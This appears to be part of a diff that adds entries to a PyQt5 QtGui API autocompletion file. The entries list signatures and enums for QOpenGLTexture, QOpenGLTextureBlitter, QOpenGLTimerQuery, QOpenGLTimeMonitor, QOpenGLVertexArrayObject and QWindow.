+QtGui.QOpenGLTexture.PixelFormat.RG_Integer?10 +QtGui.QOpenGLTexture.PixelFormat.RGB_Integer?10 +QtGui.QOpenGLTexture.PixelFormat.BGR_Integer?10 +QtGui.QOpenGLTexture.PixelFormat.RGBA_Integer?10 +QtGui.QOpenGLTexture.PixelFormat.BGRA_Integer?10 +QtGui.QOpenGLTexture.PixelFormat.Depth?10 +QtGui.QOpenGLTexture.PixelFormat.DepthStencil?10 +QtGui.QOpenGLTexture.PixelFormat.Alpha?10 +QtGui.QOpenGLTexture.PixelFormat.Luminance?10 +QtGui.QOpenGLTexture.PixelFormat.LuminanceAlpha?10 +QtGui.QOpenGLTexture.PixelFormat.Stencil?10 +QtGui.QOpenGLTexture.CubeMapFace?10 +QtGui.QOpenGLTexture.CubeMapFace.CubeMapPositiveX?10 +QtGui.QOpenGLTexture.CubeMapFace.CubeMapNegativeX?10 +QtGui.QOpenGLTexture.CubeMapFace.CubeMapPositiveY?10 +QtGui.QOpenGLTexture.CubeMapFace.CubeMapNegativeY?10 +QtGui.QOpenGLTexture.CubeMapFace.CubeMapPositiveZ?10 +QtGui.QOpenGLTexture.CubeMapFace.CubeMapNegativeZ?10 +QtGui.QOpenGLTexture.TextureFormat?10 +QtGui.QOpenGLTexture.TextureFormat.NoFormat?10 +QtGui.QOpenGLTexture.TextureFormat.R8_UNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RG8_UNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RGB8_UNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA8_UNorm?10 +QtGui.QOpenGLTexture.TextureFormat.R16_UNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RG16_UNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RGB16_UNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA16_UNorm?10 +QtGui.QOpenGLTexture.TextureFormat.R8_SNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RG8_SNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RGB8_SNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA8_SNorm?10 +QtGui.QOpenGLTexture.TextureFormat.R16_SNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RG16_SNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RGB16_SNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA16_SNorm?10 +QtGui.QOpenGLTexture.TextureFormat.R8U?10 +QtGui.QOpenGLTexture.TextureFormat.RG8U?10 +QtGui.QOpenGLTexture.TextureFormat.RGB8U?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA8U?10 +QtGui.QOpenGLTexture.TextureFormat.R16U?10 +QtGui.QOpenGLTexture.TextureFormat.RG16U?10 +QtGui.QOpenGLTexture.TextureFormat.RGB16U?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA16U?10 +QtGui.QOpenGLTexture.TextureFormat.R32U?10 +QtGui.QOpenGLTexture.TextureFormat.RG32U?10 +QtGui.QOpenGLTexture.TextureFormat.RGB32U?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA32U?10 +QtGui.QOpenGLTexture.TextureFormat.R8I?10 +QtGui.QOpenGLTexture.TextureFormat.RG8I?10 +QtGui.QOpenGLTexture.TextureFormat.RGB8I?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA8I?10 +QtGui.QOpenGLTexture.TextureFormat.R16I?10 +QtGui.QOpenGLTexture.TextureFormat.RG16I?10 +QtGui.QOpenGLTexture.TextureFormat.RGB16I?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA16I?10 +QtGui.QOpenGLTexture.TextureFormat.R32I?10 +QtGui.QOpenGLTexture.TextureFormat.RG32I?10 +QtGui.QOpenGLTexture.TextureFormat.RGB32I?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA32I?10 +QtGui.QOpenGLTexture.TextureFormat.R16F?10 +QtGui.QOpenGLTexture.TextureFormat.RG16F?10 +QtGui.QOpenGLTexture.TextureFormat.RGB16F?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA16F?10 +QtGui.QOpenGLTexture.TextureFormat.R32F?10 +QtGui.QOpenGLTexture.TextureFormat.RG32F?10 +QtGui.QOpenGLTexture.TextureFormat.RGB32F?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA32F?10 +QtGui.QOpenGLTexture.TextureFormat.RGB9E5?10 +QtGui.QOpenGLTexture.TextureFormat.RG11B10F?10 +QtGui.QOpenGLTexture.TextureFormat.RG3B2?10 +QtGui.QOpenGLTexture.TextureFormat.R5G6B5?10 +QtGui.QOpenGLTexture.TextureFormat.RGB5A1?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA4?10 +QtGui.QOpenGLTexture.TextureFormat.RGB10A2?10 +QtGui.QOpenGLTexture.TextureFormat.D16?10 +QtGui.QOpenGLTexture.TextureFormat.D24?10 +QtGui.QOpenGLTexture.TextureFormat.D24S8?10 +QtGui.QOpenGLTexture.TextureFormat.D32?10 +QtGui.QOpenGLTexture.TextureFormat.D32F?10 +QtGui.QOpenGLTexture.TextureFormat.D32FS8X24?10 +QtGui.QOpenGLTexture.TextureFormat.RGB_DXT1?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_DXT1?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_DXT3?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_DXT5?10 +QtGui.QOpenGLTexture.TextureFormat.R_ATI1N_UNorm?10 +QtGui.QOpenGLTexture.TextureFormat.R_ATI1N_SNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RG_ATI2N_UNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RG_ATI2N_SNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RGB_BP_UNSIGNED_FLOAT?10 +QtGui.QOpenGLTexture.TextureFormat.RGB_BP_SIGNED_FLOAT?10 +QtGui.QOpenGLTexture.TextureFormat.RGB_BP_UNorm?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB_DXT1?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB_Alpha_DXT1?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB_Alpha_DXT3?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB_Alpha_DXT5?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB_BP_UNorm?10 +QtGui.QOpenGLTexture.TextureFormat.DepthFormat?10 +QtGui.QOpenGLTexture.TextureFormat.AlphaFormat?10 +QtGui.QOpenGLTexture.TextureFormat.RGBFormat?10 +QtGui.QOpenGLTexture.TextureFormat.RGBAFormat?10 +QtGui.QOpenGLTexture.TextureFormat.LuminanceFormat?10 +QtGui.QOpenGLTexture.TextureFormat.LuminanceAlphaFormat?10 +QtGui.QOpenGLTexture.TextureFormat.S8?10 +QtGui.QOpenGLTexture.TextureFormat.R11_EAC_UNorm?10 +QtGui.QOpenGLTexture.TextureFormat.R11_EAC_SNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RG11_EAC_UNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RG11_EAC_SNorm?10 +QtGui.QOpenGLTexture.TextureFormat.RGB8_ETC2?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_ETC2?10 +QtGui.QOpenGLTexture.TextureFormat.RGB8_PunchThrough_Alpha1_ETC2?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_PunchThrough_Alpha1_ETC2?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA8_ETC2_EAC?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ETC2_EAC?10 +QtGui.QOpenGLTexture.TextureFormat.RGB8_ETC1?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_ASTC_4x4?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_ASTC_5x4?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_ASTC_5x5?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_ASTC_6x5?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_ASTC_6x6?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_ASTC_8x5?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_ASTC_8x6?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_ASTC_8x8?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_ASTC_10x5?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_ASTC_10x6?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_ASTC_10x8?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_ASTC_10x10?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_ASTC_12x10?10 +QtGui.QOpenGLTexture.TextureFormat.RGBA_ASTC_12x12?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ASTC_4x4?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ASTC_5x4?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ASTC_5x5?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ASTC_6x5?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ASTC_6x6?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ASTC_8x5?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ASTC_8x6?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ASTC_8x8?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ASTC_10x5?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ASTC_10x6?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ASTC_10x8?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ASTC_10x10?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ASTC_12x10?10 +QtGui.QOpenGLTexture.TextureFormat.SRGB8_Alpha8_ASTC_12x12?10 +QtGui.QOpenGLTexture.TextureUnitReset?10 +QtGui.QOpenGLTexture.TextureUnitReset.ResetTextureUnit?10 +QtGui.QOpenGLTexture.TextureUnitReset.DontResetTextureUnit?10 +QtGui.QOpenGLTexture.MipMapGeneration?10 +QtGui.QOpenGLTexture.MipMapGeneration.GenerateMipMaps?10 +QtGui.QOpenGLTexture.MipMapGeneration.DontGenerateMipMaps?10 +QtGui.QOpenGLTexture.BindingTarget?10 +QtGui.QOpenGLTexture.BindingTarget.BindingTarget1D?10 +QtGui.QOpenGLTexture.BindingTarget.BindingTarget1DArray?10 +QtGui.QOpenGLTexture.BindingTarget.BindingTarget2D?10 +QtGui.QOpenGLTexture.BindingTarget.BindingTarget2DArray?10 +QtGui.QOpenGLTexture.BindingTarget.BindingTarget3D?10 +QtGui.QOpenGLTexture.BindingTarget.BindingTargetCubeMap?10 +QtGui.QOpenGLTexture.BindingTarget.BindingTargetCubeMapArray?10 +QtGui.QOpenGLTexture.BindingTarget.BindingTarget2DMultisample?10 +QtGui.QOpenGLTexture.BindingTarget.BindingTarget2DMultisampleArray?10 +QtGui.QOpenGLTexture.BindingTarget.BindingTargetRectangle?10 +QtGui.QOpenGLTexture.BindingTarget.BindingTargetBuffer?10 +QtGui.QOpenGLTexture.Target?10 +QtGui.QOpenGLTexture.Target.Target1D?10 +QtGui.QOpenGLTexture.Target.Target1DArray?10 +QtGui.QOpenGLTexture.Target.Target2D?10 +QtGui.QOpenGLTexture.Target.Target2DArray?10 +QtGui.QOpenGLTexture.Target.Target3D?10 +QtGui.QOpenGLTexture.Target.TargetCubeMap?10 +QtGui.QOpenGLTexture.Target.TargetCubeMapArray?10 +QtGui.QOpenGLTexture.Target.Target2DMultisample?10 +QtGui.QOpenGLTexture.Target.Target2DMultisampleArray?10 +QtGui.QOpenGLTexture.Target.TargetRectangle?10 +QtGui.QOpenGLTexture.Target.TargetBuffer?10 +QtGui.QOpenGLTexture?1(QOpenGLTexture.Target) +QtGui.QOpenGLTexture.__init__?1(self, QOpenGLTexture.Target) +QtGui.QOpenGLTexture?1(QImage, QOpenGLTexture.MipMapGeneration genMipMaps=QOpenGLTexture.GenerateMipMaps) +QtGui.QOpenGLTexture.__init__?1(self, QImage, QOpenGLTexture.MipMapGeneration genMipMaps=QOpenGLTexture.GenerateMipMaps) +QtGui.QOpenGLTexture.create?4() -> bool +QtGui.QOpenGLTexture.destroy?4() +QtGui.QOpenGLTexture.isCreated?4() -> bool +QtGui.QOpenGLTexture.textureId?4() -> int +QtGui.QOpenGLTexture.bind?4() +QtGui.QOpenGLTexture.bind?4(int, QOpenGLTexture.TextureUnitReset reset=QOpenGLTexture.DontResetTextureUnit) +QtGui.QOpenGLTexture.release?4() +QtGui.QOpenGLTexture.release?4(int, QOpenGLTexture.TextureUnitReset reset=QOpenGLTexture.DontResetTextureUnit) +QtGui.QOpenGLTexture.isBound?4() -> bool +QtGui.QOpenGLTexture.isBound?4(int) -> bool +QtGui.QOpenGLTexture.boundTextureId?4(QOpenGLTexture.BindingTarget) -> int +QtGui.QOpenGLTexture.boundTextureId?4(int, QOpenGLTexture.BindingTarget) -> int +QtGui.QOpenGLTexture.setFormat?4(QOpenGLTexture.TextureFormat) +QtGui.QOpenGLTexture.format?4() -> QOpenGLTexture.TextureFormat +QtGui.QOpenGLTexture.setSize?4(int, int height=1, int depth=1) +QtGui.QOpenGLTexture.width?4() -> int +QtGui.QOpenGLTexture.height?4() -> int +QtGui.QOpenGLTexture.depth?4() -> int +QtGui.QOpenGLTexture.setMipLevels?4(int) +QtGui.QOpenGLTexture.mipLevels?4() -> int +QtGui.QOpenGLTexture.maximumMipLevels?4() -> int +QtGui.QOpenGLTexture.setLayers?4(int) +QtGui.QOpenGLTexture.layers?4() -> int +QtGui.QOpenGLTexture.faces?4() -> int +QtGui.QOpenGLTexture.allocateStorage?4() +QtGui.QOpenGLTexture.allocateStorage?4(QOpenGLTexture.PixelFormat, QOpenGLTexture.PixelType) +QtGui.QOpenGLTexture.isStorageAllocated?4() -> bool +QtGui.QOpenGLTexture.createTextureView?4(QOpenGLTexture.Target, QOpenGLTexture.TextureFormat, int, int, int, int) -> QOpenGLTexture +QtGui.QOpenGLTexture.isTextureView?4() -> bool +QtGui.QOpenGLTexture.setData?4(int, int, QOpenGLTexture.CubeMapFace, QOpenGLTexture.PixelFormat, QOpenGLTexture.PixelType, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.setData?4(int, int, QOpenGLTexture.PixelFormat, QOpenGLTexture.PixelType, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.setData?4(int, QOpenGLTexture.PixelFormat, QOpenGLTexture.PixelType, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.setData?4(QOpenGLTexture.PixelFormat, QOpenGLTexture.PixelType, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.setData?4(QImage, QOpenGLTexture.MipMapGeneration genMipMaps=QOpenGLTexture.GenerateMipMaps) +QtGui.QOpenGLTexture.setCompressedData?4(int, int, QOpenGLTexture.CubeMapFace, int, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.setCompressedData?4(int, int, int, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.setCompressedData?4(int, int, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.setCompressedData?4(int, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.hasFeature?4(QOpenGLTexture.Feature) -> bool +QtGui.QOpenGLTexture.setMipBaseLevel?4(int) +QtGui.QOpenGLTexture.mipBaseLevel?4() -> int +QtGui.QOpenGLTexture.setMipMaxLevel?4(int) +QtGui.QOpenGLTexture.mipMaxLevel?4() -> int +QtGui.QOpenGLTexture.setMipLevelRange?4(int, int) +QtGui.QOpenGLTexture.mipLevelRange?4() -> unknown-type +QtGui.QOpenGLTexture.setAutoMipMapGenerationEnabled?4(bool) +QtGui.QOpenGLTexture.isAutoMipMapGenerationEnabled?4() -> bool +QtGui.QOpenGLTexture.generateMipMaps?4() +QtGui.QOpenGLTexture.generateMipMaps?4(int, bool resetBaseLevel=True) +QtGui.QOpenGLTexture.setSwizzleMask?4(QOpenGLTexture.SwizzleComponent, QOpenGLTexture.SwizzleValue) +QtGui.QOpenGLTexture.setSwizzleMask?4(QOpenGLTexture.SwizzleValue, QOpenGLTexture.SwizzleValue, QOpenGLTexture.SwizzleValue, QOpenGLTexture.SwizzleValue) +QtGui.QOpenGLTexture.swizzleMask?4(QOpenGLTexture.SwizzleComponent) -> QOpenGLTexture.SwizzleValue +QtGui.QOpenGLTexture.setDepthStencilMode?4(QOpenGLTexture.DepthStencilMode) +QtGui.QOpenGLTexture.depthStencilMode?4() -> QOpenGLTexture.DepthStencilMode +QtGui.QOpenGLTexture.setMinificationFilter?4(QOpenGLTexture.Filter) +QtGui.QOpenGLTexture.minificationFilter?4() -> QOpenGLTexture.Filter +QtGui.QOpenGLTexture.setMagnificationFilter?4(QOpenGLTexture.Filter) +QtGui.QOpenGLTexture.magnificationFilter?4() -> QOpenGLTexture.Filter +QtGui.QOpenGLTexture.setMinMagFilters?4(QOpenGLTexture.Filter, QOpenGLTexture.Filter) +QtGui.QOpenGLTexture.minMagFilters?4() -> unknown-type +QtGui.QOpenGLTexture.setMaximumAnisotropy?4(float) +QtGui.QOpenGLTexture.maximumAnisotropy?4() -> float +QtGui.QOpenGLTexture.setWrapMode?4(QOpenGLTexture.WrapMode) +QtGui.QOpenGLTexture.setWrapMode?4(QOpenGLTexture.CoordinateDirection, QOpenGLTexture.WrapMode) +QtGui.QOpenGLTexture.wrapMode?4(QOpenGLTexture.CoordinateDirection) -> QOpenGLTexture.WrapMode +QtGui.QOpenGLTexture.setBorderColor?4(QColor) +QtGui.QOpenGLTexture.borderColor?4() -> QColor +QtGui.QOpenGLTexture.setMinimumLevelOfDetail?4(float) +QtGui.QOpenGLTexture.minimumLevelOfDetail?4() -> float +QtGui.QOpenGLTexture.setMaximumLevelOfDetail?4(float) +QtGui.QOpenGLTexture.maximumLevelOfDetail?4() -> float +QtGui.QOpenGLTexture.setLevelOfDetailRange?4(float, float) +QtGui.QOpenGLTexture.levelOfDetailRange?4() -> unknown-type +QtGui.QOpenGLTexture.setLevelofDetailBias?4(float) +QtGui.QOpenGLTexture.levelofDetailBias?4() -> float +QtGui.QOpenGLTexture.target?4() -> QOpenGLTexture.Target +QtGui.QOpenGLTexture.setSamples?4(int) +QtGui.QOpenGLTexture.samples?4() -> int +QtGui.QOpenGLTexture.setFixedSamplePositions?4(bool) +QtGui.QOpenGLTexture.isFixedSamplePositions?4() -> bool +QtGui.QOpenGLTexture.setComparisonFunction?4(QOpenGLTexture.ComparisonFunction) +QtGui.QOpenGLTexture.comparisonFunction?4() -> QOpenGLTexture.ComparisonFunction +QtGui.QOpenGLTexture.setComparisonMode?4(QOpenGLTexture.ComparisonMode) +QtGui.QOpenGLTexture.comparisonMode?4() -> QOpenGLTexture.ComparisonMode +QtGui.QOpenGLTexture.setData?4(int, int, int, QOpenGLTexture.CubeMapFace, QOpenGLTexture.PixelFormat, QOpenGLTexture.PixelType, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.setCompressedData?4(int, int, int, QOpenGLTexture.CubeMapFace, int, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.setData?4(int, int, int, int, int, int, QOpenGLTexture.PixelFormat, QOpenGLTexture.PixelType, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.setData?4(int, int, int, int, int, int, int, QOpenGLTexture.PixelFormat, QOpenGLTexture.PixelType, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.setData?4(int, int, int, int, int, int, int, int, QOpenGLTexture.PixelFormat, QOpenGLTexture.PixelType, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.setData?4(int, int, int, int, int, int, int, int, QOpenGLTexture.CubeMapFace, QOpenGLTexture.PixelFormat, QOpenGLTexture.PixelType, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.setData?4(int, int, int, int, int, int, int, int, QOpenGLTexture.CubeMapFace, int, QOpenGLTexture.PixelFormat, QOpenGLTexture.PixelType, sip.voidptr, QOpenGLPixelTransferOptions options=None) +QtGui.QOpenGLTexture.Features?1() +QtGui.QOpenGLTexture.Features.__init__?1(self) +QtGui.QOpenGLTexture.Features?1(int) +QtGui.QOpenGLTexture.Features.__init__?1(self, int) +QtGui.QOpenGLTexture.Features?1(QOpenGLTexture.Features) +QtGui.QOpenGLTexture.Features.__init__?1(self, QOpenGLTexture.Features) +QtGui.QOpenGLTextureBlitter.Origin?10 +QtGui.QOpenGLTextureBlitter.Origin.OriginBottomLeft?10 +QtGui.QOpenGLTextureBlitter.Origin.OriginTopLeft?10 +QtGui.QOpenGLTextureBlitter?1() +QtGui.QOpenGLTextureBlitter.__init__?1(self) +QtGui.QOpenGLTextureBlitter.create?4() -> bool +QtGui.QOpenGLTextureBlitter.isCreated?4() -> bool +QtGui.QOpenGLTextureBlitter.destroy?4() +QtGui.QOpenGLTextureBlitter.supportsExternalOESTarget?4() -> bool +QtGui.QOpenGLTextureBlitter.bind?4(int target=GL_TEXTURE_2D) +QtGui.QOpenGLTextureBlitter.release?4() +QtGui.QOpenGLTextureBlitter.setRedBlueSwizzle?4(bool) +QtGui.QOpenGLTextureBlitter.setOpacity?4(float) +QtGui.QOpenGLTextureBlitter.blit?4(int, QMatrix4x4, QOpenGLTextureBlitter.Origin) +QtGui.QOpenGLTextureBlitter.blit?4(int, QMatrix4x4, QMatrix3x3) +QtGui.QOpenGLTextureBlitter.targetTransform?4(QRectF, QRect) -> QMatrix4x4 +QtGui.QOpenGLTextureBlitter.sourceTransform?4(QRectF, QSize, QOpenGLTextureBlitter.Origin) -> QMatrix3x3 +QtGui.QOpenGLTimerQuery?1(QObject parent=None) +QtGui.QOpenGLTimerQuery.__init__?1(self, QObject parent=None) +QtGui.QOpenGLTimerQuery.create?4() -> bool +QtGui.QOpenGLTimerQuery.destroy?4() +QtGui.QOpenGLTimerQuery.isCreated?4() -> bool +QtGui.QOpenGLTimerQuery.objectId?4() -> int +QtGui.QOpenGLTimerQuery.begin?4() +QtGui.QOpenGLTimerQuery.end?4() +QtGui.QOpenGLTimerQuery.waitForTimestamp?4() -> int +QtGui.QOpenGLTimerQuery.recordTimestamp?4() +QtGui.QOpenGLTimerQuery.isResultAvailable?4() -> bool +QtGui.QOpenGLTimerQuery.waitForResult?4() -> int +QtGui.QOpenGLTimeMonitor?1(QObject parent=None) +QtGui.QOpenGLTimeMonitor.__init__?1(self, QObject parent=None) +QtGui.QOpenGLTimeMonitor.setSampleCount?4(int) +QtGui.QOpenGLTimeMonitor.sampleCount?4() -> int +QtGui.QOpenGLTimeMonitor.create?4() -> bool +QtGui.QOpenGLTimeMonitor.destroy?4() +QtGui.QOpenGLTimeMonitor.isCreated?4() -> bool +QtGui.QOpenGLTimeMonitor.objectIds?4() -> unknown-type +QtGui.QOpenGLTimeMonitor.recordSample?4() -> int +QtGui.QOpenGLTimeMonitor.isResultAvailable?4() -> bool +QtGui.QOpenGLTimeMonitor.waitForSamples?4() -> unknown-type +QtGui.QOpenGLTimeMonitor.waitForIntervals?4() -> unknown-type +QtGui.QOpenGLTimeMonitor.reset?4() +QtGui.QOpenGLVertexArrayObject?1(QObject parent=None) +QtGui.QOpenGLVertexArrayObject.__init__?1(self, QObject parent=None) +QtGui.QOpenGLVertexArrayObject.create?4() -> bool +QtGui.QOpenGLVertexArrayObject.destroy?4() +QtGui.QOpenGLVertexArrayObject.isCreated?4() -> bool +QtGui.QOpenGLVertexArrayObject.objectId?4() -> int +QtGui.QOpenGLVertexArrayObject.bind?4() +QtGui.QOpenGLVertexArrayObject.release?4() +QtGui.QOpenGLVertexArrayObject.Binder?1(QOpenGLVertexArrayObject) +QtGui.QOpenGLVertexArrayObject.Binder.__init__?1(self, QOpenGLVertexArrayObject) +QtGui.QOpenGLVertexArrayObject.Binder.release?4() +QtGui.QOpenGLVertexArrayObject.Binder.rebind?4() +QtGui.QOpenGLVertexArrayObject.Binder.__enter__?4() -> object +QtGui.QOpenGLVertexArrayObject.Binder.__exit__?4(object, object, object) +QtGui.QWindow.Visibility?10 +QtGui.QWindow.Visibility.Hidden?10 +QtGui.QWindow.Visibility.AutomaticVisibility?10 +QtGui.QWindow.Visibility.Windowed?10 +QtGui.QWindow.Visibility.Minimized?10 +QtGui.QWindow.Visibility.Maximized?10 +QtGui.QWindow.Visibility.FullScreen?10 +QtGui.QWindow.AncestorMode?10 +QtGui.QWindow.AncestorMode.ExcludeTransients?10 +QtGui.QWindow.AncestorMode.IncludeTransients?10 +QtGui.QWindow?1(QScreen screen=None) +QtGui.QWindow.__init__?1(self, QScreen screen=None) +QtGui.QWindow?1(QWindow) +QtGui.QWindow.__init__?1(self, QWindow) +QtGui.QWindow.setSurfaceType?4(QSurface.SurfaceType) +QtGui.QWindow.surfaceType?4() -> QSurface.SurfaceType +QtGui.QWindow.isVisible?4() -> bool +QtGui.QWindow.create?4() +QtGui.QWindow.winId?4() -> quintptr +QtGui.QWindow.parent?4() -> QWindow +QtGui.QWindow.setParent?4(QWindow) +QtGui.QWindow.isTopLevel?4() -> bool +QtGui.QWindow.isModal?4() -> bool +QtGui.QWindow.modality?4() -> Qt.WindowModality +QtGui.QWindow.setModality?4(Qt.WindowModality) +QtGui.QWindow.setFormat?4(QSurfaceFormat) +QtGui.QWindow.format?4() -> QSurfaceFormat +QtGui.QWindow.requestedFormat?4() -> QSurfaceFormat +QtGui.QWindow.setFlags?4(Qt.WindowFlags) +QtGui.QWindow.flags?4() -> Qt.WindowFlags +QtGui.QWindow.type?4() -> Qt.WindowType +QtGui.QWindow.title?4() -> QString +QtGui.QWindow.setOpacity?4(float) +QtGui.QWindow.requestActivate?4() +QtGui.QWindow.isActive?4() -> bool +QtGui.QWindow.reportContentOrientationChange?4(Qt.ScreenOrientation) +QtGui.QWindow.contentOrientation?4() -> Qt.ScreenOrientation +QtGui.QWindow.devicePixelRatio?4() -> float +QtGui.QWindow.windowState?4() -> Qt.WindowState +QtGui.QWindow.setWindowState?4(Qt.WindowState) +QtGui.QWindow.setTransientParent?4(QWindow) +QtGui.QWindow.transientParent?4() -> QWindow +QtGui.QWindow.isAncestorOf?4(QWindow, QWindow.AncestorMode mode=QWindow.IncludeTransients) -> bool +QtGui.QWindow.isExposed?4() -> bool +QtGui.QWindow.minimumWidth?4() -> int +QtGui.QWindow.minimumHeight?4() -> int +QtGui.QWindow.maximumWidth?4() -> int +QtGui.QWindow.maximumHeight?4() -> int +QtGui.QWindow.minimumSize?4() -> QSize +QtGui.QWindow.maximumSize?4() -> QSize +QtGui.QWindow.baseSize?4() -> QSize +QtGui.QWindow.sizeIncrement?4() -> QSize +QtGui.QWindow.setMinimumSize?4(QSize) +QtGui.QWindow.setMaximumSize?4(QSize) +QtGui.QWindow.setBaseSize?4(QSize) +QtGui.QWindow.setSizeIncrement?4(QSize) +QtGui.QWindow.setGeometry?4(int, int, int, int) +QtGui.QWindow.setGeometry?4(QRect) +QtGui.QWindow.geometry?4() -> QRect +QtGui.QWindow.frameMargins?4() -> QMargins +QtGui.QWindow.frameGeometry?4() -> QRect +QtGui.QWindow.framePosition?4() -> QPoint +QtGui.QWindow.setFramePosition?4(QPoint) +QtGui.QWindow.width?4() -> int +QtGui.QWindow.height?4() -> int +QtGui.QWindow.x?4() -> int +QtGui.QWindow.y?4() -> int +QtGui.QWindow.size?4() -> QSize +QtGui.QWindow.position?4() -> QPoint +QtGui.QWindow.setPosition?4(QPoint) +QtGui.QWindow.setPosition?4(int, int) +QtGui.QWindow.resize?4(QSize) +QtGui.QWindow.resize?4(int, int) +QtGui.QWindow.setFilePath?4(QString) +QtGui.QWindow.filePath?4() -> QString +QtGui.QWindow.setIcon?4(QIcon) +QtGui.QWindow.icon?4() -> QIcon +QtGui.QWindow.destroy?4() +QtGui.QWindow.setKeyboardGrabEnabled?4(bool) -> bool +QtGui.QWindow.setMouseGrabEnabled?4(bool) -> bool +QtGui.QWindow.screen?4() -> QScreen +QtGui.QWindow.setScreen?4(QScreen) +QtGui.QWindow.focusObject?4() -> QObject +QtGui.QWindow.mapToGlobal?4(QPoint) -> QPoint +QtGui.QWindow.mapFromGlobal?4(QPoint) -> QPoint +QtGui.QWindow.cursor?4() -> QCursor +QtGui.QWindow.setCursor?4(QCursor) +QtGui.QWindow.unsetCursor?4() +QtGui.QWindow.setVisible?4(bool) +QtGui.QWindow.show?4() +QtGui.QWindow.hide?4() +QtGui.QWindow.showMinimized?4() +QtGui.QWindow.showMaximized?4() +QtGui.QWindow.showFullScreen?4() +QtGui.QWindow.showNormal?4() +QtGui.QWindow.close?4() -> bool +QtGui.QWindow.raise_?4() +QtGui.QWindow.lower?4() +QtGui.QWindow.setTitle?4(QString) +QtGui.QWindow.setX?4(int) +QtGui.QWindow.setY?4(int) +QtGui.QWindow.setWidth?4(int) +QtGui.QWindow.setHeight?4(int) +QtGui.QWindow.setMinimumWidth?4(int) +QtGui.QWindow.setMinimumHeight?4(int) +QtGui.QWindow.setMaximumWidth?4(int) +QtGui.QWindow.setMaximumHeight?4(int) +QtGui.QWindow.alert?4(int) 